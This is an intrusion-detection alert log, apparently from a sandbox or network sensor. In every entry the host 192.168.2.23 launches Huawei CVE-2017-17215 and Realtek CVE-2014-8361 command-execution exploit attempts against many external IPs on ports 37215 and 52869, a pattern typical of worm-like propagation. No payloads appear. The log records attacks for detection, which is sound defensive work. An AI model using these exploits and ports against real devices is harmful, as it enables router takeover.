ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.151.81.4

Timestamp:	07/20/24-23:01:20.156820
SID:	2829579
Source Port:	41766
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.59.47.171

Timestamp:	07/20/24-23:01:43.951862
SID:	2027339
Source Port:	60714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.170.62.168

Timestamp:	07/20/24-23:01:46.069088
SID:	2027339
Source Port:	40866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.157.99.54

Timestamp:	07/20/24-23:00:57.222129
SID:	2829579
Source Port:	40802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.180.52.133

Timestamp:	07/20/24-23:01:41.443693
SID:	2025132
Source Port:	48548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 62.123.128.166

Timestamp:	07/20/24-23:01:07.016889
SID:	2835222
Source Port:	55088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.176.109.210

Timestamp:	07/20/24-23:01:11.816101
SID:	2829579
Source Port:	57656
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 51.20.137.216

Timestamp:	07/20/24-23:01:20.593003
SID:	2831300
Source Port:	44018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.242.27.50

Timestamp:	07/20/24-23:01:20.098209
SID:	2829579
Source Port:	37260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 132.247.218.225

Timestamp:	07/20/24-23:01:44.963815
SID:	2025132
Source Port:	58050
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.231.162.161

Timestamp:	07/20/24-23:01:31.320338
SID:	2831300
Source Port:	57134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 158.140.216.184

Timestamp:	07/20/24-23:01:52.820390
SID:	2025132
Source Port:	54914
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.228.92.40

Timestamp:	07/20/24-23:01:41.417573
SID:	2025132
Source Port:	48124
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.125.214.226

Timestamp:	07/20/24-23:01:43.474436
SID:	2027339
Source Port:	54350
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 154.103.167.31

Timestamp:	07/20/24-23:01:20.600303
SID:	2027339
Source Port:	51466
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.118.6.220

Timestamp:	07/20/24-23:01:44.449742
SID:	2025132
Source Port:	43924
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 93.0.10.232

Timestamp:	07/20/24-23:01:47.159758
SID:	2027339
Source Port:	44832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.152.141.175

Timestamp:	07/20/24-23:01:49.836373
SID:	2027339
Source Port:	33954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 72.182.219.141

Timestamp:	07/20/24-23:01:12.807585
SID:	2831300
Source Port:	42052
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 54.250.134.170

Timestamp:	07/20/24-23:01:01.367078
SID:	2025132
Source Port:	48042
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.182.173.35

Timestamp:	07/20/24-23:01:45.078068
SID:	2027339
Source Port:	46562
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 39.212.80.61

Timestamp:	07/20/24-23:01:53.735607
SID:	2831300
Source Port:	39890
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 53.132.125.29

Timestamp:	07/20/24-23:01:45.414030
SID:	2027339
Source Port:	56814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 76.17.111.28

Timestamp:	07/20/24-23:01:02.048214
SID:	2829579
Source Port:	35414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.206.47.33

Timestamp:	07/20/24-23:01:24.862410
SID:	2829579
Source Port:	44920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.55.179.247

Timestamp:	07/20/24-23:01:20.132511
SID:	2829579
Source Port:	51462
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.91.21.81

Timestamp:	07/20/24-23:01:21.951975
SID:	2829579
Source Port:	46354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 138.90.100.113

Timestamp:	07/20/24-23:01:50.107973
SID:	2831300
Source Port:	45408
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.105.201.33

Timestamp:	07/20/24-23:01:31.974837
SID:	2835222
Source Port:	37210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.201.238.135

Timestamp:	07/20/24-23:01:52.582295
SID:	2027339
Source Port:	37508
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 24.27.124.225

Timestamp:	07/20/24-23:01:40.349275
SID:	2835222
Source Port:	55334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 120.69.102.249

Timestamp:	07/20/24-23:01:59.938491
SID:	2025132
Source Port:	41506
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.45.164.41

Timestamp:	07/20/24-23:01:27.664606
SID:	2835222
Source Port:	51336
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 213.157.19.102

Timestamp:	07/20/24-23:01:26.151841
SID:	2025132
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 151.5.114.8

Timestamp:	07/20/24-23:01:08.567236
SID:	2831300
Source Port:	57370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.245.180.182

Timestamp:	07/20/24-23:01:11.822392
SID:	2829579
Source Port:	55546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 149.227.25.96

Timestamp:	07/20/24-23:01:44.894920
SID:	2027339
Source Port:	56832
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.217.152.189

Timestamp:	07/20/24-23:01:55.359808
SID:	2025132
Source Port:	39022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.66.172

Timestamp:	07/20/24-23:01:34.048618
SID:	2835222
Source Port:	43842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 114.57.93.253

Timestamp:	07/20/24-23:01:01.410784
SID:	2025132
Source Port:	49602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 115.205.119.137

Timestamp:	07/20/24-23:01:31.982801
SID:	2829579
Source Port:	37172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.42.160.177

Timestamp:	07/20/24-23:01:02.259642
SID:	2027339
Source Port:	52638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.152.150.214

Timestamp:	07/20/24-23:01:02.762457
SID:	2027339
Source Port:	40778
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.104.254.70

Timestamp:	07/20/24-23:01:42.912947
SID:	2025132
Source Port:	32852
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.228.135.229

Timestamp:	07/20/24-23:01:45.134490
SID:	2027339
Source Port:	56872
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 53.5.161.227

Timestamp:	07/20/24-23:02:06.767377
SID:	2025132
Source Port:	42954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.20.109

Timestamp:	07/20/24-23:01:07.005156
SID:	2835222
Source Port:	60556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 173.195.200.196

Timestamp:	07/20/24-23:01:08.594120
SID:	2027339
Source Port:	43500
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 165.210.119.115

Timestamp:	07/20/24-23:01:42.555718
SID:	2831300
Source Port:	35216
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 45.244.207.174

Timestamp:	07/20/24-23:01:43.555329
SID:	2831300
Source Port:	58004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 138.229.180.34

Timestamp:	07/20/24-23:01:42.778817
SID:	2027339
Source Port:	40746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.143.234.224

Timestamp:	07/20/24-23:01:00.641498
SID:	2829579
Source Port:	47806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 59.21.137.98

Timestamp:	07/20/24-23:01:25.472685
SID:	2025132
Source Port:	58500
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 58.31.233.114

Timestamp:	07/20/24-23:01:47.931025
SID:	2831300
Source Port:	40976
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 150.181.137.93

Timestamp:	07/20/24-23:01:47.892814
SID:	2831300
Source Port:	53108
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 220.112.19.15

Timestamp:	07/20/24-23:01:42.499887
SID:	2025132
Source Port:	33130
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.125.239

Timestamp:	07/20/24-23:01:40.296076
SID:	2835222
Source Port:	45744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.53.48.130

Timestamp:	07/20/24-23:01:25.302531
SID:	2027339
Source Port:	49410
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 142.206.118.182

Timestamp:	07/20/24-23:01:47.807536
SID:	2027339
Source Port:	48546
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 40.172.192.128

Timestamp:	07/20/24-23:01:58.249114
SID:	2027339
Source Port:	51848
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.150.57.125

Timestamp:	07/20/24-23:01:08.585790
SID:	2027339
Source Port:	54006
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.217.132.133

Timestamp:	07/20/24-23:01:32.039718
SID:	2829579
Source Port:	33136
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.213.237.39

Timestamp:	07/20/24-23:01:12.807585
SID:	2027339
Source Port:	55898
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 157.210.162.125

Timestamp:	07/20/24-23:01:43.571815
SID:	2831300
Source Port:	57584
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.114.212

Timestamp:	07/20/24-23:01:07.082045
SID:	2835222
Source Port:	51914
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 172.97.184.195

Timestamp:	07/20/24-23:01:08.683684
SID:	2831300
Source Port:	37206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 47.141.1.52

Timestamp:	07/20/24-23:01:46.893328
SID:	2831300
Source Port:	45904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.184.119.75

Timestamp:	07/20/24-23:01:51.562834
SID:	2025132
Source Port:	53128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 103.218.156.193

Timestamp:	07/20/24-23:01:44.700808
SID:	2831300
Source Port:	36296
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.111.169.67

Timestamp:	07/20/24-23:01:12.807274
SID:	2027339
Source Port:	55108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.142.100.244

Timestamp:	07/20/24-23:01:49.172806
SID:	2027339
Source Port:	54868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.9.123.124

Timestamp:	07/20/24-23:01:42.664220
SID:	2027339
Source Port:	59234
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.86.47.43

Timestamp:	07/20/24-23:01:11.028341
SID:	2027339
Source Port:	52050
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 189.193.210.39

Timestamp:	07/20/24-23:01:42.632446
SID:	2027339
Source Port:	53810
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 189.124.57.3

Timestamp:	07/20/24-23:01:53.356560
SID:	2025132
Source Port:	51592
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.153.118.82

Timestamp:	07/20/24-23:01:31.978142
SID:	2835222
Source Port:	58734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.118.206

Timestamp:	07/20/24-23:01:07.054782
SID:	2835222
Source Port:	36520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 210.80.122.96

Timestamp:	07/20/24-23:01:47.749865
SID:	2025132
Source Port:	59638
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	07/20/24-23:01:08.677485
SID:	2027339
Source Port:	57276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 110.11.201.127

Timestamp:	07/20/24-23:01:31.974837
SID:	2829579
Source Port:	39248
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 146.174.220.5

Timestamp:	07/20/24-23:02:09.668312
SID:	2025132
Source Port:	56908
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.48.178.89

Timestamp:	07/20/24-23:01:31.326982
SID:	2027339
Source Port:	48746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 181.219.175.178

Timestamp:	07/20/24-23:01:02.854348
SID:	2027339
Source Port:	42622
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.165.99

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	53880
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.96.159.120

Timestamp:	07/20/24-23:01:27.650871
SID:	2829579
Source Port:	56940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.178.44.73

Timestamp:	07/20/24-23:01:11.816101
SID:	2835222
Source Port:	39610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 193.7.32.204

Timestamp:	07/20/24-23:01:08.599362
SID:	2831300
Source Port:	51788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.229.91.161

Timestamp:	07/20/24-23:01:31.312311
SID:	2831300
Source Port:	49010
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.145.211.206

Timestamp:	07/20/24-23:01:43.173843
SID:	2025132
Source Port:	47334
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.31.217.81

Timestamp:	07/20/24-23:01:31.311885
SID:	2027339
Source Port:	47082
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.212.252.187

Timestamp:	07/20/24-23:01:40.275256
SID:	2829579
Source Port:	42886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 216.159.45.191

Timestamp:	07/20/24-23:01:42.507489
SID:	2831300
Source Port:	34838
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.22.220.5

Timestamp:	07/20/24-23:01:40.323034
SID:	2835222
Source Port:	35098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.83.34.135

Timestamp:	07/20/24-23:01:04.230950
SID:	2835222
Source Port:	45392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 163.215.30.136

Timestamp:	07/20/24-23:01:42.093693
SID:	2025132
Source Port:	38192
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.174.160.150

Timestamp:	07/20/24-23:01:47.163877
SID:	2831300
Source Port:	47156
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 118.151.178.3

Timestamp:	07/20/24-23:01:45.414030
SID:	2831300
Source Port:	55036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.169.154.123

Timestamp:	07/20/24-23:01:48.161610
SID:	2027339
Source Port:	60168
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 188.20.150.72

Timestamp:	07/20/24-23:01:42.790680
SID:	2025132
Source Port:	54812
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

